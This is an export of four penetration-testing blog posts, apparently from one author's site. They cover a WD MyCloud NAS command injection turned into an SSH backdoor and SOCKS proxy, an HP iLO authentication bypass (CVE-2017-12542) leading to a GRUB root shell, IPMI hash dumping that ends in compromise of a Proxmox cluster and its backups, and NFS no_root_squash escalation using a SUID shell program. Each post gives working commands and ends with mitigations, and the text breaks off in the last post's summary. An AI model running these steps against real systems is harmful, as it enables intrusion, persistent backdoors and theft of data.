[{"content":"In this blog, I\u0026rsquo;ll walk through how an unauthenticated command injection in a WD MyCloud NAS gave me a reverse shell as root, how I bootstrapped a persistent SSH backdoor on a device that didn\u0026rsquo;t even have SSH running, and how I turned that NAS into a covert SOCKS proxy with a single SSH flag.\nPrologue \u0026ldquo;There is no cloud. It\u0026rsquo;s just someone else\u0026rsquo;s computer.\u0026rdquo;\n- Common saying in information security\nThe Western Digital MyCloud sits in a server room or under a desk, quietly storing backups, documents, and shared files for an entire team. Its name says \u0026ldquo;cloud,\u0026rdquo; but it\u0026rsquo;s a Linux box running on an ARM processor with its own network interface and its own IP address. When it has an unpatched vulnerability in its web interface, the device trusted with your data becomes another computer on the network that an attacker can use.\nWhat is WD MyCloud? Western Digital MyCloud is a line of Network Attached Storage (NAS) devices designed for personal and small-business use. They provide file sharing, backups, and remote access through a web-based management interface over HTTPS (port 443).\nUnder the hood, a MyCloud runs embedded Linux on an ARM processor. It has a full filesystem, a web server, and network services, everything a general-purpose Linux box has, packaged into a device that most people treat as an appliance and never think to patch.\nThe Vulnerability - Unauthenticated Command Injection The MyCloud web interface contains a command injection vulnerability that allows a remote, completely unauthenticated attacker to execute arbitrary operating-system commands on the device. No login, no session, no credential of any kind is required. A crafted HTTP request to the HTTPS management interface is enough.\nMetasploit ships a ready-made module for this: exploit/linux/http/wd_mycloud_unauthenticated_cmd_injection.\nExploitation - Reverse Shell I loaded the Metasploit module, pointed it at the target, and ran it:\n1 2 3 use exploit/linux/http/wd_mycloud_unauthenticated_cmd_injection set RHOSTS x.x.x.x exploit The module confirmed the target was a WD MyCloud, verified the injection point, and delivered a reverse shell back to my machine:\nuname -a confirmed what I\u0026rsquo;d landed on:\n1 Linux WDMyCloudEX4100 3.10.39 #1 SMP ... armv7l GNU/Linux A WD MyCloud EX4100, running a kernel from 2016, on a 32-bit ARM processor. Root-level command execution on the NAS, obtained without a single credential.\nBootstrapping SSH from Scratch The reverse shell was functional but fragile. For a stable, persistent connection (and for the proxy that comes later), I needed SSH. The problem: the device didn\u0026rsquo;t have an SSH daemon running, and didn\u0026rsquo;t have host keys generated. I had to build the entire SSH infrastructure from the reverse shell.\nGenerating Host Keys SSH refuses to start without host keys. I generated them on the device:\n1 2 /usr/bin/ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key /usr/bin/ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key No passphrase on either key, since they\u0026rsquo;re host keys.\nConfiguring the Daemon I edited the SSH daemon configuration (/usr/etc/sshd_config) to allow root login and set a non-standard port, and changed the root password in /etc/shadow so I could authenticate over SSH.\nStarting SSH With keys and config in place, I started the daemon in the background:\n1 /usr/sbin/sshd \u0026amp; SSH as Root From my machine, I connected directly:\n1 ssh -p 42822 root@x.x.x.x uid=0(root), a proper interactive root shell over SSH. The connection survives indefinitely, survives reboots of the attacker\u0026rsquo;s machine, and provides the stable tunnel needed for what comes next.\nTurning the NAS into a Network Proxy SSH has a built-in feature that turns any SSH connection into a SOCKS proxy with a single flag: -D (dynamic port forwarding).\n1 ssh -p 42822 -D 1080 -N root@x.x.x.x That\u0026rsquo;s it. One command, and a SOCKS5 proxy is now listening on 127.0.0.1:1080 on the attacker\u0026rsquo;s machine. Every connection sent through that proxy travels through the SSH tunnel and exits from the NAS\u0026rsquo;s network interface.\n-D 1080 opens a local SOCKS proxy on port 1080 -N tells SSH not to execute a remote command (just keep the tunnel open) Any application that supports SOCKS5 (a browser, proxychains, curl --socks5, scanners) can now route its traffic through the NAS. The destination sees the NAS\u0026rsquo;s IP address, not the attacker\u0026rsquo;s. The traffic looks like a NAS doing what NAS devices do: talking to the network.\nNo additional tools, no chisel, no Meterpreter, just SSH doing what SSH was designed to do.\nForward vs. Reverse The ssh -D approach works when the attacker can reach the NAS directly. If the NAS is behind a firewall that blocks inbound connections, the same trick works in reverse using ssh -R from the NAS back to the attacker, carrying the SOCKS proxy through the outbound connection.\nAttack Path The full chain, from an unpatched NAS to covert network proxy:\nDiscover a WD MyCloud NAS on the network (port 443). Exploit the unauthenticated command injection via Metasploit. Obtain a reverse shell as root. Generate SSH host keys on the device. Configure and start the SSH daemon. Change the root password for SSH authentication. SSH in as root from the attacker\u0026rsquo;s machine. Run ssh -D to create a local SOCKS5 proxy tunneled through the NAS. Point any application at the SOCKS proxy. All traffic now exits from the NAS\u0026rsquo;s IP address, the attacker is hidden. Mitigations A compromised NAS is a worst-case scenario: it holds your data and gives the attacker a network foothold. To break this chain:\nUpdate firmware immediately. WD has released patches for this vulnerability. Every unpatched MyCloud device is an unauthenticated root shell. Never expose the management interface to untrusted networks. The HTTPS interface (port 443) should only be reachable from a management VLAN or specific admin workstations, never the general LAN. Disable remote access features unless actively needed. WD MyCloud\u0026rsquo;s \u0026ldquo;remote access\u0026rdquo; and \u0026ldquo;cloud\u0026rdquo; features widen the attack surface significantly. Segment NAS devices. A NAS should be on a dedicated storage VLAN with strict firewall rules. It needs to talk to clients on specific ports (SMB, NFS), not to the entire network. Monitor for unusual services. A NAS suddenly listening on a new port (like SSH on 42822) is a strong indicator of compromise. Audit stored data. After any NAS compromise, assume all stored files have been accessed. Rotate credentials stored on or accessible through the NAS. Note The above measures reduce risk significantly but do not guarantee 100% protection - defence in depth is the goal.\nConclusion A NAS is a computer. It runs Linux, has root, and sits on the network with access to everything that talks to it. When its web interface carries an unpatched command injection, a single Metasploit module turns it into a root shell. From there, SSH is bootstrapped from nothing, and one flag (-D) turns the entire connection into a SOCKS proxy. No extra tools, no payloads, just the device\u0026rsquo;s own operating system turned against the network it serves.\nThe NAS stores your files, serves your backups, and is trusted by every machine that mounts it. That trust is exactly what makes it the perfect place to route traffic nobody will question.\nReferences CVE-2016-10108 - WD MyCloud Command Injection (NVD) Metasploit - WD MyCloud Unauthenticated Command Injection SSH Dynamic Port Forwarding (SOCKS Proxy) HackTricks - Pentesting NAS/Storage Western Digital Security Advisories ","permalink":"https://Gill-Singh-A.github.io/p/the-nas-nobody-patched-from-unauthenticated-rce-to-network-proxy-via-wd-mycloud/","summary":"\u003cp\u003eIn this blog, I\u0026rsquo;ll walk through how an \u003cstrong\u003eunauthenticated command injection\u003c/strong\u003e in a WD MyCloud NAS gave me a reverse shell as \u003cstrong\u003eroot\u003c/strong\u003e, how I bootstrapped a persistent \u003cstrong\u003eSSH backdoor\u003c/strong\u003e on a device that didn\u0026rsquo;t even have SSH running, and how I turned that NAS into a \u003cstrong\u003ecovert SOCKS proxy\u003c/strong\u003e with a single SSH flag.\u003c/p\u003e\n\u003ch2 id=\"prologue\"\u003ePrologue\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e\u0026ldquo;There is no cloud. It\u0026rsquo;s just someone else\u0026rsquo;s computer.\u0026rdquo;\u003c/strong\u003e\u003cbr\u003e\n\u003cem\u003e- Common saying in information security\u003c/em\u003e\u003c/p\u003e","title":"The NAS Nobody Patched - From Unauthenticated RCE to Network Proxy via WD MyCloud"},{"content":"In this blog, I\u0026rsquo;ll walk through how a single unpatched out-of-band management interface let me take full control of a physical server — from one unauthenticated HTTP request, to a remote console, to a pre-OS root shell, to a permanent SSH backdoor — without ever knowing a single operating-system credential.\nPrologue \u0026ldquo;Power belongs to the people that take it.\u0026rdquo;\n— Mr. Robot\nEvery serious server has a second, smaller computer bolted onto its motherboard whose entire job is to let an administrator control the machine as if they were standing in front of it — power it on, watch it boot, type at its console — over the network, whether or not the real operating system is even running. It is the most powerful interface on the box, and it is the one people forget to patch.\nWhat is HP iLO? HP Integrated Lights-Out (iLO) is HP\u0026rsquo;s out-of-band management (OOBM) controller, embedded directly into ProLiant servers. Like any BMC, it has its own processor, its own network port, its own firmware, and its own power — it runs completely independently of the host operating system.\nThrough iLO an administrator gets lights-out management:\nRemote power control — on, off, reset, at any time. A virtual KVM console — a real-time, interactive keyboard/video/mouse session, visible from the very first BIOS/POST message through GRUB and into the OS. Virtual media — mount an ISO or USB image remotely and boot from it. Hardware health and firmware management. Every one of these works whether the host OS is running, crashed, or powered off. That last point is the whole story: access to iLO is operationally equivalent to unrestricted physical access to the server. If you control the management processor, you control the machine at a level below the operating system — and no OS password, MFA prompt, or login screen sits between you and the hardware.\nThe iLO Security Model — and Why It Collapses iLO 4 doesn\u0026rsquo;t ship with a universal default password. Each device gets a unique, randomly generated password printed on a physical pull-out label attached to the server chassis. In the intended model, that label is the only credential protecting remote access — no physical access to the chassis, no password.\nCVE-2017-12542 throws that entire model away.\nCVE-2017-12542 — Authentication Bypass CVE-2017-12542 is a critical (CVSS 9.8) authentication bypass in the web server of HP iLO 4 firmware before version 2.53 (patched by HP in August 2017, with a public exploit available ever since).\nThe bug lives in how the iLO web server parses the HTTP Connection header. Send a request whose Connection header contains 29 or more A characters, and the authentication check is skipped entirely. From there an unauthenticated attacker can issue any authenticated management API call — including creating a brand-new administrator account — with no credential of any kind.\nThat\u0026rsquo;s the key: it doesn\u0026rsquo;t leak the label password, it makes the label password irrelevant. The only barrier iLO 4 relies on is simply not consulted.\nEnumeration The starting point was an iLO 4 web interface reachable on the internal network over HTTPS (port 443). Inspecting the firmware version string on the login page confirmed it was running firmware older than 2.53 — squarely in the vulnerable range for CVE-2017-12542.\nExploiting the Bypass — Creating an Admin Account I used my own CVE-2017-12542 exploit — CVE-2017-12542-Exploit. A --check run confirmed the target was VULNERABLE and, thanks to the same bypass, even enumerated the existing iLO accounts (admin, mgmt). A second run created a new administrator account (hp_ilo) on the device — no existing credential required:\n1 2 3 4 5 # Confirm the target is vulnerable and enumerate existing users ./main.py --server https://172.31.55.220/ --check # Abuse the bypass to create a brand-new iLO administrator account ./main.py --server https://172.31.55.220/ --username hp_ilo --password \u0026#39;\u0026lt;redacted\u0026gt;\u0026#39; Account hp_ilo:... Created Successfully. In seconds, using nothing but network access and a short script, I had full administrative control of the server\u0026rsquo;s management plane.\nLogging Into iLO With the account I\u0026rsquo;d just minted, I logged straight into the iLO 4 web interface.\nAt this point I owned the management plane — but not yet the operating system running on the server. The bridge between the two is the remote console.\nRemote Console — a Virtual Keyboard, Screen, and Power Button These devices were running under a licensed iLO Advanced entitlement, which unlocks the Integrated Remote Console (IRC) — a full graphical virtual-KVM session to the server. From the Remote Console section of the web UI, I downloaded the JNLP launcher (Java Web Start) and opened it with a compatible JRE, which spun up the HP remote console.\nThe console dropped me straight onto the server\u0026rsquo;s live physical screen, sitting at its login prompt.\nI now had a keyboard on the physical console and a power button. That combination is all you need to seize the OS itself — no login required.\nFrom Console to Root: GRUB + rd.break With interactive console access and remote power control, a classic physical-access attack becomes available entirely over the network. I issued Power Switch → Reset from the console toolbar and watched the machine reboot through POST toward GRUB.\nWhen the GRUB boot menu appeared, I pressed e to edit the boot entry before the countdown elapsed.\nOn the linux kernel line, I appended a single parameter — rd.break — and booted the edited entry with Ctrl+X.\nrd.break is a legitimate Linux recovery switch. When present, dracut pauses the boot sequence inside the initramfs, before the real root filesystem is mounted, and drops you into an emergency root shell. Intended for password recovery — here it\u0026rsquo;s an attack, because the console it\u0026rsquo;s typed at is mine.\nPre-OS Root Shell The kernel booted into the initramfs and halted at an emergency shell. From there I remounted the real root filesystem read-write and chrooted into it:\n1 2 mount -o remount,rw /sysroot chroot /sysroot That\u0026rsquo;s an effective root shell inside the live operating system, with full read-write access to every file — obtained without a single OS credential, purely because I could reach the management interface.\nEstablishing Persistence — Stage 1: A Backdoor User A shell from the initramfs vanishes on the next normal boot, so the first job was durable access. Inside the chroot, I created a new account and gave it full sudo rights by adding it to the wheel group (which grants sudo on RHEL-family systems):\n1 2 3 useradd -m -s /bin/bash kaptaan usermod -aG wheel kaptaan passwd kaptaan # password set here, redacted This account now lives in /etc/passwd, /etc/shadow, and /etc/group and survives every reboot. I then exited the initramfs shell and let the server boot normally.\nPersistence — Stage 2: A Root SSH Key Once the server was up, I logged in as the backdoor user.\nFrom there I dropped my own SSH public key into /root/.ssh/authorized_keys, giving me passwordless root SSH directly from my machine. This stage needs no vulnerability at all — it\u0026rsquo;s just standard public-key authentication, bootstrapped by the account from Stage 1.\nThe result is two independent, mutually reinforcing persistence mechanisms: losing the backdoor password doesn\u0026rsquo;t kill access while the root key remains, and vice versa. Both survive reboots, and both survive patching the iLO vulnerability — closing the front door does nothing about the keys already inside.\nAttack Path The full chain, from an exposed management port to durable root:\nDiscover an unpatched iLO 4 interface on the internal network. Exploit CVE-2017-12542 to create an unauthenticated iLO administrator account. Log into the iLO web interface with that account. Download the JNLP remote-console launcher and open the Integrated Remote Console. Get a live view of the server\u0026rsquo;s physical console — no OS login needed. Power → Reset to reboot the server. Intercept GRUB, edit the kernel line, append rd.break. Land in the initramfs emergency shell — a pre-OS root environment. mount -o remount,rw /sysroot and chroot /sysroot into the live filesystem. Create a backdoor user in the wheel (sudo) group. Exit and let the server boot normally. Log in as the backdoor user. Implant an SSH key in root\u0026rsquo;s authorized_keys — persistent, passwordless root. Mitigations An unpatched, reachable iLO is one of the highest-impact, lowest-effort footholds in an environment. To break this chain:\nPatch iLO 4 firmware to 2.53 or later. This is the single most important fix — it closes CVE-2017-12542. Track iLO firmware advisories separately from OS patching; they have their own CVE channel. Segment the out-of-band management network. iLO interfaces should live on a dedicated, firewalled management VLAN reachable only from documented jump hosts — never from the general LAN, and never the internet. Lock down iLO itself. Use iLO\u0026rsquo;s IP address allow-listing, disable unused features (SNMP, IPMI, unused console types), and restrict or disable Virtual Media so an attacker can\u0026rsquo;t boot from attacker-controlled media even with iLO access. Protect GRUB with a superuser password (password_pbkdf2) so boot entries can\u0026rsquo;t be edited to add rd.break (or init=/bin/bash). Use full-disk encryption with pre-boot authentication (e.g., LUKS) so that even console/boot access can\u0026rsquo;t read or modify the filesystem. Audit for persistence. Regularly review /etc/passwd, /etc/group, sudoers, and every authorized_keys file. Deploy host-based intrusion detection (AIDE, Wazuh) to alert on changes to these. Monitor iLO audit logs for the fingerprints of this attack: new administrator accounts, power-reset operations, and remote-console activations from unexpected sources. Note The above measures reduce risk significantly but do not guarantee 100% protection — defence in depth is the goal.\nConclusion An iLO — like any BMC — is effectively a computer with god-mode over the host, sitting on the network. Left unpatched and reachable from the wrong network, a single unauthenticated request turned it into full administrative access, a remote console turned that into physical-equivalent control, and a legitimate recovery feature (rd.break) turned that into a pre-OS root shell. From there, persistence was trivial — and it outlives the vulnerability that granted it.\nTreat your management plane as the most sensitive part of your infrastructure. To an attacker, an exposed iLO isn\u0026rsquo;t a management convenience — it\u0026rsquo;s the shortest path to root.\nReferences Gill-Singh-A/CVE-2017-12542-Exploit — the exploit used in this writeup CVE-2017-12542 — HPE iLO 4 Authentication Bypass / RCE HPE Security Bulletin — iLO 4 firmware 2.53 Red Hat — Resetting access using rd.break GTFOBins ","permalink":"https://Gill-Singh-A.github.io/p/from-an-exposed-ilo-to-persistent-root-via-cve-2017-12542/","summary":"\u003cp\u003eIn this blog, I\u0026rsquo;ll walk through how a single \u003cstrong\u003eunpatched out-of-band management interface\u003c/strong\u003e let me take \u003cstrong\u003efull control of a physical server\u003c/strong\u003e — from one unauthenticated HTTP request, to a remote console, to a pre-OS root shell, to a permanent SSH backdoor — \u003cstrong\u003ewithout ever knowing a single operating-system credential\u003c/strong\u003e.\u003c/p\u003e\n\u003ch2 id=\"prologue\"\u003ePrologue\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e\u0026ldquo;Power belongs to the people that take it.\u0026rdquo;\u003c/strong\u003e\u003cbr\u003e\n— \u003cem\u003eMr. Robot\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eEvery serious server has a second, smaller computer bolted onto its motherboard whose entire job is to let an administrator control the machine as if they were standing in front of it — power it on, watch it boot, type at its console — over the network, whether or not the real operating system is even running. It is the most powerful interface on the box, and it is the one people forget to patch.\u003c/p\u003e","title":"From an Exposed iLO to Persistent Root via CVE-2017-12542"},{"content":"In this blog, I\u0026rsquo;ll walk through how a single exposed IPMI/BMC interface let me take full control of a physical server — and how that server turned out to be a Proxmox hypervisor, handing me every virtual machine and container running on top of it, along with the backups behind them.\nPrologue \u0026ldquo;A bug is never just a mistake. It represents something bigger. An error of thought that makes you who you are.\u0026rdquo;\n— Elliot Alderson, Mr. Robot\nEvery server has a second, smaller computer living inside it — one that never sleeps, answers the network even when the machine is \u0026ldquo;off,\u0026rdquo; and was built entirely on the assumption that only administrators would ever talk to it. That assumption is the vulnerability.\nWhat is IPMI? IPMI (Intelligent Platform Management Interface) is a protocol introduced by Intel in 1998 for remote management and monitoring of servers — even when the operating system isn\u0026rsquo;t running, the machine is powered off, or the system has completely hung.\nIt works because it runs on a dedicated Baseboard Management Controller (BMC) — a small microcontroller soldered onto the motherboard that operates independently of the CPU, firmware, and OS. It has its own processor, its own memory, its own network stack, and its own power. To an administrator it means lights-out management: power the box on or off, watch temperatures and fans, read event logs, and — crucially — get a remote console (KVM over IP) as if you were standing at the keyboard.\nThat last capability — a remote screen, keyboard, and power button — is exactly what makes a compromised BMC so dangerous. If you control the BMC, you control the machine at a level below the operating system.\nIPMI Over the Network For all of this to work, the BMC needs just two things: power and a LAN connection. It listens on UDP port 623. Find that port open on a host, and you\u0026rsquo;ve found a BMC waiting to talk.\nSupermicro BMC — and Everyone Else This particular server used a Supermicro BMC supporting IPMI 2.0, exposing the usual web-based management interface. But nothing here is Supermicro-specific.\nThe exact same weaknesses and workflow apply to virtually every server-class BMC, because they all implement the same IPMI 2.0 specification — including Tyrone, Hexadata, ASUS (ASMB), ASRockRack, Dell iDRAC, HPE iLO, Lenovo XCC, and others. Different logos, same protocol, same design flaws. If you learn it on one, you can do it on all of them.\nAnd they all widen the attack surface the same way: every one of these vendors ships its BMCs with well-known factory-default credentials (Supermicro\u0026rsquo;s ADMIN/ADMIN, Dell iDRAC\u0026rsquo;s root/calvin, and so on). Left unchanged — which, in practice, they very often are — those defaults hand an attacker valid credentials outright, no cracking required, and expose the machine to the exact chain that follows.\nThe Vulnerabilities Two long-standing weaknesses in IPMI 2.0 make BMCs a favourite target.\nCipher 0 — Authentication Bypass IPMI 2.0 negotiates a cipher suite for each session. Cipher Suite 0 is a special case that provides no encryption and no authentication. Where it\u0026rsquo;s left enabled, an attacker can simply request a session using cipher 0 and issue privileged commands without any valid credentials — power control, monitoring, and management, straight to the BMC.\nRAKP Authentication Hash Disclosure The bigger flaw is baked into the RAKP (Remote Authenticated Key-Exchange Protocol) handshake that IPMI 2.0 uses at login. By design, when a client begins authentication with a valid username, the BMC responds with a salted hash of that user\u0026rsquo;s password — before the client has proven anything.\nAn attacker can request this handshake, capture the returned hash, and crack it offline with Hashcat or John the Ripper. This is often called IPMI Hash Disclosure / Hash Dumping, and it\u0026rsquo;s the path I took here.\nEnumeration The first step was confirming a BMC was present. A UDP scan of the target flagged port 623 open.\nIP Address: x.x.x.x UDP Port: 623 That\u0026rsquo;s the fingerprint of an IPMI service. To confirm the version and implementation, I used the Metasploit Framework module scanner/ipmi/ipmi_version.\nThe scan confirmed IPMI 2.0, which meant the RAKP hash-disclosure weakness was in play.\nDumping the Authentication Hash Metasploit ships a module built exactly for the RAKP flaw: scanner/ipmi/ipmi_dumphashes. It requests the handshake for common usernames and returns the password hashes the BMC leaks back.\nThe module recovered a hash for the user ADMIN, and because CRACK_COMMON was enabled it cracked the password on the spot: ADMIN. With valid credentials in hand, the offline-cracking step collapsed into an instant win.\nLogging Into the BMC With valid credentials, I logged straight into the Supermicro web interface.\nAt this point I had full administrative control of the management plane of the server — but not yet of the operating system running on it. The bridge between the two is the remote console.\nKVM Over IP — A Remote Screen and Keyboard The BMC provides a remote console using KVM over IP, giving live screen, keyboard, and mouse access to the physical machine, exactly as if I were sitting in front of it.\nThe console also exposes remote power control — Power On, Power Off, Power Cycle, and Reset.\nThis combination — a keyboard on the physical console plus a power button — is all that\u0026rsquo;s needed to seize the OS itself.\nFrom KVM to Root: Editing the GRUB Entry Being able to watch the boot process and reset the machine at will opens a classic physical-access attack, now available entirely over the network: editing the GRUB boot entry to boot straight into a root shell.\nI issued a Reset from the power menu and caught the machine at the GRUB menu.\nGRUB lets you edit a boot entry temporarily (e). By appending init=/bin/bash to the kernel line, the system boots directly into a root shell instead of loading the full operating system and its login prompt — no password required.\nBooting the edited entry dropped me straight to a root prompt.\nuid=0(root) — total control of the operating system, obtained without a single OS credential, purely because I could reach the management interface.\nEstablishing Persistence A shell from init=/bin/bash is temporary — it disappears on the next normal boot. To keep durable access, I remounted the root filesystem read-write and added a persistent account with shell and sudo access:\n1 2 3 mount -o remount,rw / useradd -m -s /bin/bash -G sudo svcadmin passwd svcadmin # password set here, redacted Then I rebooted the machine normally. After it came back up, I logged in through the KVM viewer as my new user.\nThis Isn\u0026rsquo;t Just a Server — It\u0026rsquo;s a Hypervisor Now inside a normal shell, I checked the network configuration with ip a.\nIP Address: x.x.x.x Interface: vmbr0 That interface name — vmbr0 — is a giveaway. vmbrX is the naming convention for a Proxmox virtual bridge. I hadn\u0026rsquo;t just rooted a server; I\u0026rsquo;d rooted a Proxmox VE hypervisor, the machine that hosts and controls an entire fleet of virtual machines and containers.\nProxmox Virtual Environment Proxmox VE is an open-source virtualization platform (built on Debian) that manages KVM virtual machines and LXC containers through a web interface, with storage, backup, and clustering built in. Root on the Proxmox host means authority over every guest it runs — their disks, their consoles, and their power.\nAccessing the Proxmox Web Interface Proxmox exposes its management UI on https://\u0026lt;host\u0026gt;:8006. Because I already had root on the host, I could reach and administer it directly.\nAdding a Backdoor Proxmox User For persistent control of the virtualization layer itself (independent of the OS account), I created a dedicated Proxmox administrator in the built-in authentication realm:\nUser: proxmox@pve Realm: Proxmox VE Authentication Server Endpoint: https://x.x.x.x:8006 Owning the Entire Cluster This is where a single misconfigured BMC turns into a full-infrastructure compromise. The host wasn\u0026rsquo;t standalone — it was part of a Proxmox cluster spanning more than a dozen physical nodes, and the web interface laid the whole estate bare.\nThe Datacenter search view enumerated every node and every guest at once — production, dev, and test servers, each running dozens of VMs, complete with their IP addresses and owner tags.\nFrom the CLI on the host, the same picture came from a single command:\n1 pvesh get /cluster/resources --type vm The inventory read like the organisation\u0026rsquo;s entire backbone — load balancers, IDS/IPS workers, SOC and OT-SOC monitoring VMs, Windows domain servers, databases, syslog and PCAP collectors, and more.\nA Full Remote Shell on the Host The web UI and the KVM console weren\u0026rsquo;t the only way in. I could also reach the host over the network — routed through ProxyChains — and open a proper interactive SSH shell on it, greeted by its own login banner:\nA real shell on the hypervisor is the comfortable place to operate from — enumerating the cluster, reading root\u0026rsquo;s command history, and lining up the next move.\nReaching Into Every VM and Container Control of the hypervisor means control of the guests. Through the same interface I could open a console into any VM — dropping straight onto their login screens (or, for appliances, their boot output) — inspect their hardware, and manage their firewalls, power, and disks.\nEvery one of these guests could now be powered off, cloned, snapshotted, consoled into, or have its virtual disk read directly from the host — regardless of whatever passwords or hardening existed inside the VMs. When you own the hypervisor, the guest\u0026rsquo;s own security no longer matters.\nPivoting to the Backups One more step made the compromise complete. Reviewing the bash history of the root user on the host revealed an NFS server used for backups:\nNFS Server: y.y.y.y Mounting that export exposed the crown jewels — backups of every server, along with operational scripts and reports:\nAll server backups Administrative scripts Reports At that point, not only was the live infrastructure under control, but so was its offline copy — the very thing you\u0026rsquo;d rely on to recover from an incident.\nAttack Path Below is the full chain, from an open UDP port to complete infrastructure and backup compromise.\nMitigations IPMI/BMC exposure is one of the highest-impact, lowest-effort footholds in an environment. To defend against this chain:\nChange default BMC credentials immediately. Default ADMIN/ADMIN-style logins are the single most common cause of BMC compromise. Disable Cipher Suite 0 on all BMCs. Never expose IPMI to untrusted networks. Put BMCs on a dedicated, firewalled management VLAN reachable only via VPN or a jump host — never the internet, and never the general LAN. Use strong, unique passwords for every BMC account; the RAKP hash-disclosure flaw is unavoidable, so password strength is your real defence against offline cracking. Keep BMC firmware updated to pick up security fixes. Protect GRUB with a boot password so boot entries can\u0026rsquo;t be edited to init=/bin/bash, and use full-disk encryption so a physical/KVM boot attack can\u0026rsquo;t trivially read or modify the OS. Restrict and monitor the Proxmox interface — bind the web UI (:8006) to the management network, enforce two-factor authentication, and alert on new users and role changes. Segment the backup (NFS) network so a single compromised host cannot mount and read the backups of the entire estate. Monitor for the fingerprints of this attack: UDP/623 scans, RAKP requests, unexpected BMC logins, KVM sessions, and reboots into single-user/init=/bin/bash. Note The above measures reduce risk significantly but do not guarantee 100% protection — defence in depth is the goal.\nConclusion IPMI exists to make servers easier to manage, but a BMC is effectively a computer with god-mode over the host, sitting on the network. Left with default/weak credentials and reachable from the wrong network, it collapses every other control: OS passwords, VM hardening, even backups. A single open UDP port led to root on a hypervisor, and from there to every machine, container, and backup in the environment.\nTreat your management plane as the most sensitive part of your infrastructure — because to an attacker, it\u0026rsquo;s the shortest path to all of it.\nReferences Metasploit — IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval Dan Farmer — Sold Down the River (IPMI/BMC security research) Proxmox VE — pvesh / API documentation GTFOBins HackTricks — IPMI Pentesting ","permalink":"https://Gill-Singh-A.github.io/p/from-ipmi-to-full-infrastructure-compromise-via-proxmox/","summary":"\u003cp\u003eIn this blog, I\u0026rsquo;ll walk through how a single exposed \u003cstrong\u003eIPMI/BMC\u003c/strong\u003e interface let me take \u003cstrong\u003efull control of a physical server\u003c/strong\u003e — and how that server turned out to be a \u003cstrong\u003eProxmox\u003c/strong\u003e hypervisor, handing me every \u003cstrong\u003evirtual machine and container\u003c/strong\u003e running on top of it, along with the backups behind them.\u003c/p\u003e\n\u003ch2 id=\"prologue\"\u003ePrologue\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e\u0026ldquo;A bug is never just a mistake. It represents something bigger. An error of thought that makes you who you are.\u0026rdquo;\u003c/strong\u003e\u003cbr\u003e\n— \u003cem\u003eElliot Alderson, Mr. Robot\u003c/em\u003e\u003c/p\u003e","title":"From IPMI to Full Infrastructure Compromise via Proxmox"},{"content":"In this blog, I\u0026rsquo;ll walk through how I escalated my privileges from a low-privileged user to root on a remote server by abusing an insecurely configured NFS export (no_root_squash).\nPrologue \u0026ldquo;Control is an illusion.\u0026rdquo;\n— Mr. Robot\nNFS has a habit of trusting whoever knocks on the door — and trust, as always, is the real vulnerability.\nInitial Foothold At this stage I already had a shell as a regular, low-privileged user. The interesting part began while I was looking for a way up to root.\nEnumerating NFS Exports While enumerating running services, I noticed the machine was exposing an NFS service. NFS (Network File System) lets a server share directories over the network so clients can mount them as if they were local. The quickest way to see what a host is sharing is showmount:\n1 showmount -e \u0026lt;TARGET\u0026gt; One of the exported directories was shared with everyone (*). That alone was worth a closer look, so I wanted to confirm exactly how it was being exported.\nSpotting the Misconfiguration \u0026ldquo;People always make the best exploits.\u0026rdquo;\n— Elliot Alderson, Mr. Robot\nSince I already had a shell on the box, I read the export configuration directly from /etc/exports. The shared directory carried the no_root_squash option.\nThis single option is the whole ballgame. Normally NFS applies root_squash, which squashes a connecting root user (UID 0) down to the unprivileged nobody account — so being root on the client buys you nothing on the share. With no_root_squash, the server trusts the client\u0026rsquo;s UID as-is. If I\u0026rsquo;m root on my own machine, I\u0026rsquo;m effectively root on the share — including the ability to write root-owned files and set the SUID bit on them.\nA human typed that word into a config file once and moved on. That\u0026rsquo;s the exploit.\nMounting the Export I switched to my own machine, where I have full root, and mounted the vulnerable export locally:\n1 mount -t nfs -o rw,suid,soft,intr,nolock,exec SERVER_ADDRESS:SERVER_DIRECTORY LOCAL_MOUNT_DIRECTORY The share mounted without any authentication — NFSv3 doesn\u0026rsquo;t challenge the client, it simply trusts the source address and the UID it presents.\nPlanting a Root-Owned SUID Binary With the share mounted and me sitting as root on my own box, I wrote a tiny C program that spawns a shell while preserving its privileges:\n1 2 3 4 5 6 7 8 9 10 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; int main() { setuid(0); setgid(0); system(\u0026#34;/bin/bash\u0026#34;); return 0; } I compiled it straight into the mounted share and made it a root-owned SUID binary:\n1 2 gcc priv_esc.c chmod 4777 a.out Because of no_root_squash, the file lands on the server owned by root, and the SUID bit sticks.\nGetting a Root Shell Back in my original low-privileged shell on the target, the binary was now sitting in the exported directory — owned by root, with the SUID bit set. Executing it dropped me straight into a shell running as root: uid=0(root) — full control of the server, earned from a single misconfigured export. No kernel exploit, no crash risk, nothing fragile. Just a trust boundary that was set too wide.\nAttack Path Started with a low-privileged shell on the target. Enumerated NFS and found a writable export shared with everyone. Confirmed the export used no_root_squash. Mounted the export from a machine where I had root. Planted a root-owned SUID binary in the share. Executed it on the target to become root. Mitigations To prevent this type of attack, consider the following security best practices:\nNever use no_root_squash: Stick to the default root_squash, and prefer all_squash to map every client UID to nobody unless there is a hard requirement otherwise. Mount and export with nosuid: The nosuid option strips the effect of the SUID/SGID bits, so a planted binary can\u0026rsquo;t gain privileges. Restrict exports to specific hosts: Never export to *. Pin each share to the exact IPs or subnets that legitimately need it. Export read-only where possible: Use the ro option whenever write access isn\u0026rsquo;t required. Prefer NFSv4 with Kerberos (sec=krb5): Move away from the trust-the-client model of NFSv3 to authenticated, identity-aware access. Firewall NFS services: Restrict access to port 2049 and the rpcbind/portmapper ports so only trusted networks can reach the service. Audit /etc/exports regularly: Treat any no_root_squash entry as a finding that must be justified or removed. References GTFOBins - NFS no_root_squash HackTricks - NFS no_root_squash / no_all_squash Privilege Escalation ","permalink":"https://Gill-Singh-A.github.io/p/privilege-escalation-via-insecure-nfs-mounts/","summary":"\u003cp\u003eIn this blog, I\u0026rsquo;ll walk through how I escalated my privileges from a low-privileged user to \u003cstrong\u003eroot\u003c/strong\u003e on a remote server by abusing an insecurely configured \u003cstrong\u003eNFS 